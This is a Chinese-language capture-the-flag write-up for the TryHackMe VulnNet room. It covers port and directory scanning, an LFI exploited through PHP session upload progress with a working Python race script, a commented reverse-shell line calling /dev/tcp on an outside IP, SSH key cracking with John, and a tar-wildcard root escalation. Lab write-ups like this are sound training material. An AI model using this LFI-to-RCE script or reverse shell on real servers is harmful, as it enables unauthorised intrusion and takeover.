URL : https://tryhackme.com/room/vulnnet1
IP : 10.10.86.144

  • 題目敘述You will have to add a machine IP with domain vulnnet.thm to your /etc/hosts

Recon

  • 掃 Portrustscan -a 10.10.86.144 -r 1-65535nmap -A -p22,80 10.10.86.144- 掃目錄- python3 dirsearch.py -u http://10.10.86.144/
  • 發現登入頁面-
  • 戳了常見的 SQLi 都不行觀察網頁連結- 透過 js formatter 轉漂亮- broadcast.vulnnet.thm
  • 加到 /etc/hosts前面的階段也可以用 LinkFinder- python3 linkfinder.py -i http://vulnnet.thm/python3 linkfinder.py -i http://vulnnet.thm/js/index__d8338055.js-
  • 發現首頁可以帶一個 ?referer 參數訪問 broadcast.vulnnet.thm-
  • 發現需要登入觀察首頁 referer 參數- 發現可以 LFI用 Session upload progress 大法
import grequests
sess_name = 'meowmeow'
sess_path = f'/var/lib/php/sessions/sess_{sess_name}'
base_url = 'http://vulnnet.thm/index.php'
param = "referer"

#code = "file_put_contents('/tmp/shell.php','& /dev/tcp/10.13.21.55/7877 0>&1'");'''

while True:
    req = [grequests.post(base_url,
                            files={'f': "A"*0xffff},
                            data={'PHP_SESSION_UPLOAD_PROGRESS': f"pwned:"},
                            cookies={'PHPSESSID': sess_name}),
            grequests.get(f"{base_url}?{param}={sess_path}")]

    result = grequests.map(req)
    if "pwned" in result[1].text:
        print(result[1].text)
        break
  • 然後就 RCE 了
  • (感覺就不是正規解…ㄏㄏ

提權

  • python3 -c 'import pty; pty.spawn("/bin/bash")'
  • 掃豌豆
  • 找到 backup觀察 backup 檔案,發現有 ssh-backup-
  • 偷出來解壓縮-
  • 發現是 id_rsa到家目錄看使用者名稱-
  • server-management發現是 server-management準備 ssh 登入-
  • 發現 id_rsa 需要密碼 QQ用約翰爆破- python3 ../../ssh2john.py id_rsa > id_rsa_john
  • 密碼是 oneTWO3gOyacSSH 登入-
  • 取得 user flag跑豌豆掃到 .htpasswd 密碼的 hash- 猜測應該是給 broadcast.vulnnet.thm 用的
  • 用約翰爆破個
  • 密碼是 ``9972761drmfsls猜測原始思路正規解法應該是 LFI 到這個檔案訪問 broadcast.vulnnet.thm- 使用帳號 developers![](/uploads/2022/02/7cb34-jR4k1zC.png)密碼 9972761drmfsls`- 推測這應該是某個有 RCE 洞的 CMS
  • 正規解是從這邊進 RCE ㄅ
  • 隨便

二次提權

  • 想起前面的 Backup 用了 tar *所以可以快速提權
  • 接 Shell- 取 Root Flag-